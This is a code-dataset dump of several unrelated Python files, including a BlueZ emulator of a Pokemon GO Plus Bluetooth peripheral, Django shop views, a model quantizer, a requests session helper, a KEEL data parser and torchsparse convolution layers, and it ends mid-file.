def ReadValue(self, options):\n log(self.UUID)\n return [dbus.Byte(self.value)]\n\n\nclass led_vibrate_chrc(Characteristic):\n def __init__(self, bus, index, service):\n self.UUID = UUID_LED_VIBRATE_CTRL_CHAR\n\n Characteristic.__init__(\n self, bus, index,\n self.UUID,\n ['write'],\n service)\n self.value = 0\n\n def WriteValue(self, value, options):\n self.value = value\n log(self.UUID)\n\n\nclass button_notif_chrc(Characteristic):\n def __init__(self, bus, index, service):\n self.UUID = UUID_BUTTON_NOTIF_CHAR\n\n Characteristic.__init__(\n self, bus, index,\n self.UUID,\n ['notify'],\n service)\n self.value = 0\n self.notifying = False\n\n def StartNotify(self):\n if self.notifying:\n log('Already notifying, nothing to do')\n return\n\n self.notifying = True\n log(self.UUID)\n\n def StopNotify(self):\n if not self.notifying:\n log('Not notifying, nothing to do')\n return\n\n self.notifying = False\n log(self.UUID)\n\n\nclass unknown_chrc(Characteristic):\n def __init__(self, bus, index, service):\n self.UUID = UUID_UNKNOWN_CHAR\n\n Characteristic.__init__(\n self, bus, index,\n self.UUID,\n ['write'],\n service)\n self.value = 0\n\n def WriteValue(self, value, options):\n self.value = value\n log(self.UUID)\n\n\nclass sfida_commands_chrc(Characteristic):\n def __init__(self, bus, index, service):\n self.UUID = UUID_SFIDA_COMMANDS_CHAR\n self.tag = \"Commands\"\n\n Characteristic.__init__(\n self, bus, index,\n self.UUID,\n ['notify'],\n service)\n self.value = 0\n self.notifying = False\n\n def StartNotify(self):\n if self.notifying:\n log('Already notifying, nothing to do', self.tag)\n return\n\n self.notifying = True\n # GObject.timeout_add(1000, self.StopNotify)\n log(\"start \" + str(self.uuid), self.tag)\n\n def StopNotify(self):\n if not self.notifying:\n log('Not notifying, nothing to do', self.tag)\n return\n\n self.notifying = False\n log(\"stop \" + self.UUID, self.tag)\n\n\nclass sfida_to_central_chrc(Characteristic):\n def __init__(self, bus, index, service):\n self.UUID = UUID_SFIDA_TO_CENTRAL_CHAR\n self.tag = \"STC\"\n\n Characteristic.__init__(\n self, bus, index,\n self.UUID,\n ['read'],\n service)\n self.value = [3, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]\n for num, val in enumerate(self.value):\n self.value[num] = dbus.Byte(val)\n\n def ReadValue(self, options):\n log(self.UUID + \" \" + str(self.value), self.tag)\n return [dbus.Byte(self.value)]\n\n\nclass central_to_sfida_chrc(Characteristic):\n def __init__(self, bus, index, service):\n self.UUID = UUID_CENTRAL_TO_SFIDA_CHAR\n self.tag = \"CTS\"\n\n Characteristic.__init__(\n self, bus, index,\n self.UUID,\n ['write'],\n service)\n self.value = 3\n\n def WriteValue(self, value, options):\n log([self.UUID, value, options], self.tag)\n self.value = value\n\n\nclass battery_level_chrc(Characteristic):\n def __init__(self, bus, index, service):\n self.UUID = UUID_BATTERY_LEVEL_CHAR\n\n Characteristic.__init__(\n self, bus, index,\n self.UUID,\n ['notify', 'read'],\n service)\n self.value = 80\n self.notifying = False\n\n def ReadValue(self, options):\n log('Battery Level Read: ' + repr(self.value))\n log(self.UUID)\n return [dbus.Byte(self.value)]\n\n def StartNotify(self):\n if self.notifying:\n log('Already notifying, nothing to do')\n return\n\n self.notifying = True\n self.notify_battery_level()\n log(self.UUID)\n\n def StopNotify(self):\n if not self.notifying:\n log('Not notifying, nothing to do')\n return\n\n self.notifying = False\n log(self.UUID)\n\n\nclass device_control_service(Service):\n \"\"\" Fake Device Control Update Service.\"\"\"\n\n def __init__(self, bus, index):\n UUID = UUID_DEVICE_CONTROL_SERVICE\n Service.__init__(self, bus, index, UUID, True)\n self.add_characteristic(led_vibrate_chrc(bus, 0, self))\n self.add_characteristic(button_notif_chrc(bus, 1, self))\n self.add_characteristic(unknown_chrc(bus, 2, self))\n self.add_characteristic(fw_update_request_chrc(bus, 3, self))\n self.add_characteristic(fw_version_chrc(bus, 4, self))\n\n\nclass certificate_service(Service):\n \"\"\" Certificate Service.\"\"\"\n\n def __init__(self, bus, index):\n UUID = UUID_CERTIFICATE_SERVICE\n Service.__init__(self, bus, index, UUID, True)\n self.add_characteristic(sfida_commands_chrc(bus, 0, self))\n self.add_characteristic(central_to_sfida_chrc(bus, 1, self))\n self.add_characteristic(sfida_to_central_chrc(bus, 2, self))\n\n\nclass battery_service(Service):\n \"\"\" Fake Battery Service.\"\"\"\n\n def __init__(self, bus, index):\n UUID = UUID_BATTERY_SERVICE\n Service.__init__(self, bus, index, UUID, True)\n self.add_characteristic(battery_level_chrc(bus, 0, self))\n\n\nclass po_go_plus_app(Application):\n def __init__(self, bus):\n Application.__init__(self, bus)\n self.add_service(battery_service(bus, 0))\n self.add_service(device_control_service(bus, 1))\n self.add_service(certificate_service(bus, 2))\n\n\nclass po_go_plus_advertisement(Advertisement):\n def __init__(self, bus, index):\n Advertisement.__init__(self, bus, index, 'peripheral')\n self.add_service_data(\"21c50462\", [0x00])\n self.include_tx_power = True\n\n\ndef log(message, tag=\"INFO\"):\n print(now.strftime(\"%Y-%m-%d %H:%M:%S\") + \":[\" + tag + \"] \" + message)\n\n\ndef main():\n global mainloop\n\n dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)\n\n bus = dbus.SystemBus()\n\n # Get ServiceManager and AdvertisingManager\n gatt_properties = [\n {\"Name\": \"Discoverable\", \"Set\": True, \"Value\": False},\n ]\n\n service_manager = get_service_manager(bus, gatt_properties)\n\n ad_properties = [\n {\"Name\": \"Discoverable\", \"Set\": True, \"Value\": True},\n {\"Name\": \"DiscoverableTimeout\", \"Set\": True, \"Value\": 0},\n {\"Name\": \"Class\", \"Set\": False},\n {\"Name\": \"Address\", \"Set\": False},\n {\"Name\": \"Name\", \"Set\": False},\n {\"Name\": \"Alias\", \"Set\": True, \"Value\": \"Pokemon GO Plus\"},\n {\"Name\": \"UUIDs\", \"Set\": False},\n {\"Name\": \"Modalias\", \"Set\": False},\n ]\n\n ad_manager = get_advertisement_manager(bus, ad_properties)\n\n # Create gatt services\n app = po_go_plus_app(bus)\n\n # Create advertisement\n po_go_plus_ad = po_go_plus_advertisement(bus, 0)\n\n mainloop = GObject.MainLoop()\n\n # Register gatt services\n service_manager.RegisterApplication(app.get_path(), {},\n reply_handler=register_app_cb,\n error_handler=register_app_error_cb)\n\n # Register advertisement\n ad_manager.RegisterAdvertisement(po_go_plus_ad.get_path(), {},\n reply_handler=register_ad_cb,\n error_handler=register_ad_error_cb)\n\n log(\"PokeBrm Started\")\n try:\n mainloop.run()\n except KeyboardInterrupt:\n service_manager.UnregisterApplication(app.get_path())\n ad_manager.UnregisterAdvertisement(po_go_plus_ad.get_path())\n print('exit')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"pokebrm_bluez.py","file_name":"pokebrm_bluez.py","file_ext":"py","file_size_in_byte":9534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"93091908","text":"from django.core.mail import send_mail, BadHeaderError\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render, redirect\nfrom django.db.models import Count, Sum\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import views as auth_views\nfrom .forms import UserSignupForm, ContactForm, UserUpdateForm, AccountUpdateForm\nfrom .models import Cart\nfrom store.models import Product\n\ndef signup(request):\n if request.method == 'POST':\n form = UserSignupForm(request.POST)\n if form.is_valid():\n form.save()\n messages.success(request, f\"Account created successfully!!\")\n return redirect('login')\n else:\n form = UserSignupForm()\n return render(request, 'users/signup.html', { 'title': 'Sign Up', 'form': form })\n\ndef login(request):\n if request.user.is_authenticated:\n return redirect('store-home')\n else:\n return auth_views.LoginView.as_view(template_name='users/login.html')(request)\n\ndef logout(request):\n if request.user.is_authenticated:\n return auth_views.LogoutView.as_view(template_name='users/logout.html')(request)\n else:\n return redirect('store-home')\n\ndef contact_us(request):\n if request.method == 'GET':\n form = ContactForm()\n else:\n form = ContactForm(request.POST)\n if form.is_valid():\n if request.user.is_authenticated:\n subject = form.cleaned_data['subject']\n from_email = request.user.email\n message = form.cleaned_data['message']\n message = \"From: \" + from_email + \"\\n\" + message\n try:\n send_mail(subject, message, from_email, ['']) # fill the list with your email id\n except BadHeaderError:\n messages.success(request, f\"Couldn't sent message. Invalid header found.\")\n return render(request, \"users/contact-us.html\", { 'title': 'Contact Us', 'form': form })\n return redirect('contact_success')\n return render(request, \"users/contact-us.html\", { 'title': 'Contact Us', 'form': form })\n\ndef contact_success(request):\n return render(request, 'users/contact-success.html', { 'title': 'Message Sent Successfully' })\n\n@login_required\ndef account(request):\n if request.method == 'POST':\n u_form = UserUpdateForm(request.POST, instance=request.user)\n a_form = AccountUpdateForm(request.POST, instance=request.user.account)\n if u_form.is_valid() and a_form.is_valid():\n u_form.save()\n a_form.save()\n messages.success(request, f\"Account updated successfully!!\")\n return redirect('my-account')\n else:\n u_form = UserUpdateForm(instance=request.user)\n a_form = AccountUpdateForm(instance=request.user.account)\n return render(request, 'users/my-account.html', { 'title': 'My Account', 'u_form': u_form, 'a_form': a_form })\n\n@login_required\ndef cart(request):\n cart_count = Cart.objects.filter(cart_id=request.user).count()\n if cart_count == 0:\n return render(request, 'users/my-cart.html', { 'title': 'My Cart', 'cart_count': cart_count })\n else:\n cart = Cart.objects.filter(cart_id=request.user)\n cart_products = cart.values('product_id').annotate(pcount=Count('product_id'))\n cart_price = cart.aggregate(Sum('product_price'))\n if request.method == \"GET\":\n product_id = request.GET.get('add')\n if product_id != None:\n cart = Cart.objects.filter(cart_id=request.user)\n cart.filter(product_id=product_id).delete()\n return redirect('my-cart')\n return render(request, 'users/my-cart.html', { 'title': 'My Cart', 'cart_count': cart_count, 'cart_products': cart_products, 'products': Product.objects.all(), 'cart_price': cart_price['product_price__sum'] })\n","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"424371265","text":"# Copyright 2019 ZTE corporation. All Rights Reserved.\n# SPDX-License-Identifier: Apache-2.0\n\n\"\"\"\nModel quantizer base class\n\"\"\"\nimport os\nimport shutil\nimport uuid\nfrom abc import abstractmethod\nfrom .compressor import compress_dir\nfrom .message import fail, success\nfrom ..log_util import get_logger\n_LOGGER = get_logger(__name__)\n\n\nclass BaseQuantizer:\n \"\"\"\n Quantizer base class\n \"\"\"\n _COMMON_PARAMS = [\n \"input_model\",\n \"model_name\",\n \"export_path\",\n \"version\"\n ]\n _COMMON_REQUIRED = [\n \"input_model\",\n \"model_name\",\n \"export_path\"\n ]\n\n def __init__(self, config):\n for item in self._COMMON_PARAMS:\n if config.get_attribute(item) is None and item in self._COMMON_REQUIRED:\n _LOGGER.error('Require \"%s\" but not found', item)\n raise Exception('Require \"%s\" but not found' % item)\n self.__setattr__(item, config.get_attribute(item))\n self.model_dir = self._make_model_dir()\n self.version, self.version_dir = self._get_version_dir()\n self.target_dir = self._make_target_dir()\n self.custom_object = None\n _LOGGER.info('Output dir is: %s, version: %s', self.model_dir, self.version)\n\n def quantize(self):\n \"\"\"\n Quantize model\n :return: Return quantize result\n \"\"\"\n try:\n self._do_quantize()\n os.rename(self.target_dir, self.version_dir)\n zip_path = self._compress([self.version_dir])\n return success(zip_path)\n except Exception as error: # pylint:disable=broad-except\n _LOGGER.error('Quantize model failed, error: %s', error)\n _LOGGER.exception(error)\n self._cleanup()\n return fail(str(error))\n\n def _compress(self, source_list):\n \"\"\"\n Compress model to .zip\n :return:\n \"\"\"\n # self.target_dir -> modelName_version.zip\n zip_file_path = os.path.join(self.export_path, self.model_name + '_' + str(self.version) + '.zip')\n return compress_dir(source_list, zip_file_path)\n\n def _make_model_dir(self):\n \"\"\"\n Make model dir, the structure of export dir is:\n export_dir\n |--model_name\n |-- version_1(version_dir)\n | |-- tftrt SavedModel or tflite model\n |-- version_2\n |-- tftrt SavedModel or tflite model\n :return:\n \"\"\"\n _LOGGER.info('make_model_dir: export base path: %s', self.export_path)\n if not os.path.exists(self.export_path):\n os.makedirs(self.export_path, exist_ok=True)\n model_dir = os.path.join(self.export_path, self.model_name)\n os.makedirs(model_dir, exist_ok=True)\n return model_dir\n\n def _get_version_dir(self):\n version = getattr(self, \"version\", None)\n if version is None:\n version = self._get_model_default_version()\n version = str(version)\n version_dir = os.path.join(self.model_dir, version)\n _LOGGER.info(\"Export model version : %s, dir: %s\", version, version_dir)\n if os.path.exists(version_dir):\n raise Exception('Output version is already exist: {}'.format(version_dir))\n return version, version_dir\n\n def _get_model_default_version(self):\n sub_dirs = [int(child) for child in os.listdir(self.model_dir)\n if os.path.isdir(os.path.join(self.model_dir, child)) and child.isdigit()]\n sub_dirs.sort()\n version = str(sub_dirs[-1] + 1) if sub_dirs else \"1\"\n return version\n\n def _make_target_dir(self):\n temp_dir_name = str(uuid.uuid3(uuid.NAMESPACE_URL, '_'.join([self.model_name, self.version])))\n _LOGGER.info(\"temporary export dir: %s, %s\", temp_dir_name, os.path.join(self.model_dir, temp_dir_name))\n target_dir = os.path.join(self.model_dir, temp_dir_name)\n if not os.path.exists(target_dir):\n os.makedirs(target_dir, exist_ok=True)\n return target_dir\n\n def _cleanup(self):\n if os.path.exists(self.target_dir):\n shutil.rmtree(self.target_dir)\n if os.path.exists(self.version_dir):\n shutil.rmtree(self.version_dir)\n\n @abstractmethod\n def _do_quantize(self):\n pass\n","sub_path":"src/model_optimizer/quantizer/quantizer_base.py","file_name":"quantizer_base.py","file_ext":"py","file_size_in_byte":4299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"29316945","text":"#!/usr/bin/env python\n# encoding: utf-8\n\ndef build(bld):\n pinte_target = 'Pinte'\n pinte_features = ['c', 'cprogram']\n pinte_uselibs = ['GTK3', 'GTKGLEXT3', 'GIO2']\n pinte_headers = ['pinte.h', 'pinte-app.h', 'pinte-window.h', 'pinte-project.h',\n 'pinte-surface.h', 'pinte-utils.h']\n pinte_source = ['pinte.c', 'pinte-app.c', 'pinte-window.c', 'pinte-project.c',\n 'pinte-surface.c', 'pinte-utils.c']\n\n if (bld.options.debug):\n pinte_uselibs + ['-g', '-Wall']\n\n pinte = bld(features=pinte_features,\n headers=pinte_headers,\n source=pinte_source,\n target=pinte_target,\n uselib=pinte_uselibs,\n includes='.')","sub_path":"src/wscript","file_name":"wscript","file_ext":"","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"13065503","text":"import requests\r\nfrom .cookies import *\r\n\r\n\r\nclass sessionCreFalse(Exception):\r\n pass\r\n\r\nclass urlNotDefine(Exception):\r\n pass\r\n\r\nclass urlNoCookies(Exception):\r\n pass\r\n\r\nclass urlNoHeaders(Exception):\r\n pass\r\n\r\nclass sessionPost(Exception):\r\n pass\r\n\r\nclass GetReqError(Exception):\r\n pass\r\n\r\n\r\nclass session():\r\n class_cookies=0\r\n class_headers={}\r\n class_url1=''\r\n class_url2=''\r\n class_session=requests.session()\r\n\r\n def __init__(self,url='',cookies=0,headers={}):\r\n\r\n try:\r\n if url and cookies and headers:\r\n ret_obj=class_session.get(url,cookies=cookies,headers=headers)\r\n elif url and cookies and not headers:\r\n ret_obj=class_session.get(url,cookies=cookies)\r\n else:\r\n ret_obj=0\r\n if ret_obj!=0:\r\n if(ret_obj.status_code!=200):\r\n raise sessionCreFalse('\\n\\nsession not create successfully\\n\\n')\r\n self.set_url1(url)\r\n self.set_cookies(ret_obj.cookies)\r\n self.set_headers(headers) \r\n\r\n except sessionCreFalse as except0:\r\n print(except0)\r\n quit()\r\n\r\n def set_cookies(self,arg_cookies):\r\n self.class_cookies=cookies.all2jar(arg_cookies)\r\n def set_headers(self,headers):\r\n self.class_headers=headers\r\n def set_url1(self,url):\r\n self.class_url1=url\r\n def set_url2(self,url):\r\n self.class_url2=url\r\n\r\n def sessionCre(self,url='',cookies=0,headers={}):\r\n try:\r\n if url:\r\n self.set_url1(url)\r\n if cookies:\r\n self.set_cookies(cookies)\r\n if headers:\r\n self.set_headers(headers)\r\n if not self.class_url1:\r\n raise urlNotDefine('\\n\\nnot set request url\\n\\n')\r\n if not self.class_cookies:\r\n raise urlNoCookies('\\n\\nnot set requests cookies\\n\\n')\r\n except urlNotDefine as except1:\r\n print(except1)\r\n quit()\r\n except urlNoCookies as except2:\r\n print(except2)\r\n quit()\r\n\r\n try:\r\n if self.class_headers:\r\n ret_obj=class_session.get(self.class_url1,cookies=self.class_cookies,headers=self.class_headers)\r\n elif not self.class_headers:\r\n ret_obj=class_session.get(self.class_url,cookies=self.class_cookies)\r\n else:\r\n raise sessionCreFalse('\\n\\nnot set url, cookies, headers\\n\\n')\r\n if(ret_obj.status_code!=200):\r\n raise sessionCreFalse('\\n\\nsession not create successfully\\n\\n')\r\n self.set_cookies(ret_obj.cookies) \r\n return ret_obj \r\n\r\n except sessionCreFalse as except0:\r\n print(except0)\r\n quit()\r\n \r\n \r\n\r\n def post(self,url='',cookies={},data={},headers={}):\r\n try:\r\n if url:\r\n self.set_url2(url)\r\n if cookies:\r\n self.set_cookies(cookies)\r\n if headers:\r\n self.set_headers(headers)\r\n if not self.class_url2:\r\n raise urlNotDefine('\\n\\nnot set request obj\\n\\n')\r\n if not self.class_cookies:\r\n raise urlNoCookies('\\n\\nnot set requests cookies\\n\\n')\r\n if not self.class_headers:\r\n raise urlNoHeaders('\\n\\nnot set requests headers\\n\\n')\r\n except urlNotDefine as except1:\r\n print(except1)\r\n quit()\r\n except urlNoCookies as except2:\r\n print(except2)\r\n quit()\r\n except urlNoHeaders as except3:\r\n print(except3)\r\n quit()\r\n try:\r\n ret_obj=class_session.request.post(self.class_url2,cookies=self.class_cookies,headers=self.class_headers,data=data)\r\n if ret_obj.status_code!=200:\r\n raise sessionPost('\\n\\nsession post request error\\n\\n')\r\n self.set_cookies(ret_obj.cookies)\r\n return ret_obj\r\n except sessionPost as except4:\r\n print(except4)\r\n quit()\r\n\r\n\r\n def get(url='',cookies=0,headers={},params={}):\r\n try:\r\n if url:\r\n self.set_url2(url)\r\n if cookies:\r\n self.set_cookies(cookies)\r\n if headers:\r\n self.set_headers(headers)\r\n if (not self.class_url2):\r\n raise urlNotDefine('\\n\\nnot set request obj\\n\\n')\r\n if (not self.class_cookies):\r\n raise urlNoCookies('\\n\\nnot set requests cookies\\n\\n')\r\n if (not self.class_headers):\r\n raise urlNoHeaders('\\n\\nnot set requests headers\\n\\n')\r\n except urlNotDefine as except1:\r\n print(except1)\r\n quit()\r\n except urlNoCookies as except2:\r\n print(except2)\r\n quit()\r\n except urlNoHeaders as except3:\r\n print(except3)\r\n quit()\r\n try:\r\n ret_obj=class_session.request.get(self.class_url2,cookies=self.class_cookies,headers=self.class_headers,params=params)\r\n if ret_obj.status_code!=200:\r\n raise GetReqError('\\n\\nsession get request error\\n\\n')\r\n self.set_cookies(ret_obj.cookies)\r\n return ret_obj\r\n\r\n except GetReqError as except4:\r\n print(except4)\r\n quit()\r\n","sub_path":"pwn/linux_pwn/mypwn/mypwn/mypwn/mypwnlib/submit_flag/session.py","file_name":"session.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"116981845","text":"def kilograms_to_pounds():\n user_kilograms = input(\"Your weight in kg: \")\n user_pounds = float(user_kilograms) * 2.20462\n print(\"Your weight in pounds: \" + str(user_pounds))\n\ndef pounds_to_kilograms():\n user_pounds = input(\"Your weight in lbs: \")\n user_kilograms = int(user_pounds) * 0.453592\n print(\"Your weight in kilograms: \" + str(user_kilograms))\n\n\ndef user_weight():\n user_name = input(\"What is your name? (You don't have to enter your full name) \")\n weight_choice = input(\"Welcome, \" + user_name + \", to the weight converter! Would you like to convert your weight into\"\n \"pounds or kilograms?\\nPick one of the following\\nPounds (lbs)\"\n \" or Kilograms (kg): \").lower()\n if weight_choice == \"lbs\" or weight_choice == \"pounds\":\n kilograms_to_pounds()\n print(\"Enjoy your day, \" + user_name + \" :D\")\n elif weight_choice == \"kg\" or weight_choice == \"kilograms\":\n pounds_to_kilograms()\n print(\"Enjoy your day, \" + user_name + \" :D\")\n else:\n print(\"Your selection was invalid.\")\n\n\nuser_weight()","sub_path":"weight.py","file_name":"weight.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"576079702","text":"# This Python file uses the following encoding: utf-8\n\"\"\"Module for interaction with data storage\"\"\"\nfrom collections import namedtuple\nimport uuid\nfrom snakeguice import inject, annotate\n\n__author__ = 'xander27'\nimport numpy as np\nimport logging as log\nimport cPickle as pickle\n\nDataSet = namedtuple('DataSet',\n ['n_samples', 'n_features', 'data','target',\n 'feature_names', 'target_names',\n 'feature_class_names', 'row_weights'])\ndef convert_sci_kit_data_set(data_set):\n n_samples, n_features = np.shape(data_set.data)\n return DataSet(\n data = data_set.data,\n n_samples = n_samples,\n n_features = n_features,\n target = data_set.target,\n target_names = data_set.target_names,\n feature_names = data_set.feature_names,\n feature_class_names = dict(),\n row_weights = [1] * n_samples\n )\n\nclass DataProvider:\n\n def __init__(self, file_name, init_data_file_name):\n self.init_data_file_name = init_data_file_name\n self._file_name = file_name\n self._load_data()\n\n def _init_data_from_keel(self, f_name):\n \"\"\"\n Load init data from KEEL format file\n\n Params:\n f_name: file name\n \"\"\"\n import pyparsing as pp\n\n\n LabelVariable = namedtuple('LabelVariable', ['name', 'labels'])\n NumberVariable = namedtuple('NumberVariable', ['name', 'min', 'max'])\n #configure parser\n empty_gap = uuid.uuid1()\n var_name = pp.Word(pp.alphas + \"_+-/\" + pp.nums)\n label = pp.Word(pp.nums + pp.alphas + \"_+-/.\")\n number = pp.Word(pp.nums + \".-\").setParseAction(lambda t: [float(t[0])])\n attr_begin = pp.Suppress(\"@attribute\") + var_name(\"name\")\n attr_number = (\n attr_begin + pp.oneOf(\"real integer\") + pp.Suppress(\"[\") +\n number(\"min\") + pp.Suppress(\",\") + number(\"max\") + pp.Suppress(\"]\")\n ).setParseAction(lambda t: NumberVariable(t.name, t.min, t.max))\n attr_label = (\n attr_begin + pp.Suppress(\"{\")+\n pp.Group(pp.OneOrMore(label + pp.Suppress(\",\")) + label)\n .setResultsName(\"labels\")\n + pp.Suppress(\"}\")\n ).setParseAction(lambda t: LabelVariable(t.name, list(t.labels)))\n attr = attr_number | attr_label\n output = pp.Suppress(\"@outputs\") + var_name\n empty = ( pp.Literal(\"?\")).setParseAction(lambda t: empty_gap)\n line = pp.Group(pp.OneOrMore((label | number | empty ) + pp.Suppress(\",\"))\n + ( label | number | empty ))\n data = pp.Suppress(\"@data\") + pp.OneOrMore(line)\n case = pp.Suppress(pp.SkipTo(attr)) + \\\n pp.Group(pp.OneOrMore(attr)).setResultsName(\"attrs\")\\\n + pp.Suppress(pp.SkipTo(output)) + output(\"output\") + data(\"data\")\\\n# + pp.stringEnd\n try:\n with open(f_name, \"r\") as f:\n# print f.read()\n parsed = case.parseString(f.read())\n except IOError:\n log.error(\"Can't read init data from '%s'\" % self.init_data_file_name)\n raise\n\n vars = list(parsed.attrs)\n output_var = None\n for var in vars:\n if var.name == parsed.output[0]:\n output_var = var\n break\n\n def get_var_value(var, val):\n if isinstance(var, NumberVariable):\n return val\n elif isinstance(var, LabelVariable):\n return var.labels.index(val)\n\n vars_count = len(vars)\n data_len = len(parsed.data)\n data = np.empty((data_len, vars_count - 1))\n target = np.empty(data_len)\n for i, line in zip(xrange(data_len), parsed.data):\n w = 0\n for j, var in zip(xrange(vars_count), vars):\n if var == output_var:\n if line[j] != empty_gap:\n target[i] = get_var_value(var, line[j])\n else:\n continue\n elif line[j] != empty_gap:\n data[i, w] = get_var_value(var, line[j])\n w+= 1\n else:\n data[i, w] = None\n w+=1\n vars.remove(output_var)\n feature_class_names = dict()\n for i, var in zip(xrange(len(vars)), vars):\n if isinstance(var, LabelVariable):\n feature_class_names[i] = var.labels\n return DataSet(\n n_samples = data_len,\n n_features = len(vars),\n data = data,\n target = target,\n feature_names = map(lambda v: v.name, vars),\n target_names = output_var.labels,\n feature_class_names = feature_class_names,\n row_weights = [1] * data_len\n )\n\n\n def _load_data(self):\n try:\n self._data = pickle.load(open(self._file_name, \"rb\"))\n except IOError:\n log.error(\"Can't read from '%s'\" % self._file_name)\n log.info(\"read data from '%s'\" % self.init_data_file_name)\n self._data = self._init_data_from_keel(self.init_data_file_name)\n\n def get_data(self):\n return self._data\n\n def set_data(self, data):\n self._data = data\n\n def save(self):\n try:\n pickle.dump(self._data, open(self._file_name, \"wb+\"))\n except IOError:\n log.error(\"Can't write to '%s'\" % self._file_name)\n raise\n","sub_path":"src/krasn/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":5492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"82284831","text":"import math\n\nimport torch\nfrom torch import nn\n\nfrom torchsparse.sparse_tensor import *\n\nfrom ..functional import *\n\n__all__ = ['Conv3d', 'ToBEVConvolution', 'ToBEVReduction', 'ToDenseBEVConvolution']\n\n\nclass Conv3d(nn.Module):\n def __init__(self,\n in_channels: int,\n out_channels: int,\n kernel_size: int = 3,\n stride: int = 1,\n dilation: int = 1,\n bias: bool = False,\n transpose: bool = False) -> None:\n super().__init__()\n self.in_channels = inc = in_channels\n self.out_channels = outc = out_channels\n self.kernel_size = kernel_size\n self.stride = stride\n self.dilation = dilation\n if not isinstance(kernel_size, (list, tuple)):\n self.kernel_volume = self.kernel_size ** 3\n self.kernel = nn.Parameter(\n torch.zeros(self.kernel_volume, inc,\n outc)) if self.kernel_size > 1 else nn.Parameter(\n torch.zeros(inc, outc))\n else:\n if len(self.kernel_size) == 3:\n self.kernel_volume = self.kernel_size[0]*self.kernel_size[1]*self.kernel_size[2]\n self.kernel = nn.Parameter(torch.zeros(self.kernel_volume, inc, outc))\n else:\n raise ValueError(\"kernel_size must be either an integer of a 3 dimensional tuple\")\n\n\n self.bias = None if not bias else nn.Parameter(torch.zeros(outc))\n self.t = transpose\n self.init_weight()\n\n if kernel_size == 1:\n assert not transpose\n\n def __repr__(self):\n if not self.t:\n return 'Conv3d(in_channels=%d, out_channels=%d, kernel_size=%d, stride=%d, dilation=%d)' % (\n self.in_channels, self.out_channels, self.kernel_size,\n self.stride, self.dilation)\n else:\n return 'Conv3d(in_channels=%d, out_channels=%d, kernel_size=%d, stride=%d, dilation=%d)' % (\n self.in_channels, self.out_channels, self.kernel_size,\n self.stride, self.dilation)\n\n def init_weight(self):\n std = 1. / math.sqrt(\n self.out_channels if self.t else self.in_channels *\n (self.kernel_volume))\n self.kernel.data.uniform_(-std, std)\n if self.bias is not None:\n self.bias.data.uniform_(-std, std)\n\n def forward(self, inputs):\n return conv3d(inputs,\n self.kernel,\n ks=self.kernel_size,\n bias=self.bias,\n stride=self.stride,\n dilation=self.dilation,\n transpose=self.t)\n\nclass ToBEVConvolution(nn.Module):\n def __init__(self, \n in_channels: int, \n out_channels: int, \n n_kernels: int, \n stride: int = 1, \n z_dim: int = 1, \n use_bias: bool = False):\n super().__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.stride = stride\n self.z_dim = z_dim\n self.kernel = nn.Parameter(torch.zeros(n_kernels, in_channels, out_channels))\n self.bias = nn.Parameter(torch.zeros(1, out_channels)) if use_bias else 0\n self.init_weight()\n\n def init_weight(self):\n std = 1. / math.sqrt(self.in_channels)\n self.kernel.data.uniform_(-std, std)\n \n def __repr__(self):\n return 'ToBEVConvolution(in_channels=%d, out_channels=%d, n_kernels=%d, stride=%d)'%(\n self.in_channels,\n self.out_channels,\n self.n_kernels,\n self.stride\n )\n\n def forward(self, inputs):\n features = inputs.F\n coords = inputs.C\n cur_stride = inputs.s\n ratio = cur_stride * self.stride\n\n kernels = torch.index_select(self.kernel, 0, coords[:, self.z_dim].long() / cur_stride)\n output_features = (features.unsqueeze(-1) * kernels).sum(1) + self.bias\n output_coords = coords.t().long()\n output_coords[self.z_dim, :] = 0\n if self.stride > 1:\n output_coords[:3] /= ratio\n output_coords[:3] *= ratio\n flatten = torch.cuda.sparse.FloatTensor(output_coords, output_features).coalesce()\n return SparseTensor(flatten.values(), flatten.indices().t().int(), ratio)\n\n\nclass ToBEVReduction(nn.Module):\n def __init__(self, \n z_dim: int = 1):\n super().__init__()\n self.z_dim = z_dim\n \n def __repr__(self):\n return 'ToBEVReduction(z_dim = %d)'%self.z_dim\n\n def forward(self, inputs):\n features = inputs.F\n coords = inputs.C\n cur_stride = inputs.s\n\n flatten_coords = coords.clone()\n flatten_coords[:, self.z_dim] = 0\n features_with_cnt = torch.cat([torch.ones_like(features[:, :1]), features], axis=1)\n flatten = torch.cuda.sparse.FloatTensor(flatten_coords.t().long(), features_with_cnt).coalesce()\n output_features = flatten.values()[:, 1:] / flatten.values()[:, :1]\n return SparseTensor(output_features, flatten.indices().t().int(), cur_stride)\n\n\nclass ToDenseBEVConvolution(nn.Module):\n def __init__(self, \n in_channels: int, \n out_channels: int, \n shape, \n offset: list = [0,0,0], \n z_dim: int = 1, \n use_bias: bool = False):\n super().__init__()\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.offset = torch.cuda.IntTensor([list(offset) + [0]])\n self.z_dim = z_dim\n self.n_kernels = int(shape[self.z_dim])\n self.bev_dims = [i for i in range(3) if i != self.z_dim]\n self.bev_shape = shape[self.bev_dims]\n self.kernel = nn.Parameter(torch.zeros(self.n_kernels, in_channels, out_channels))\n self.bias = nn.Parameter(torch.zeros(1, 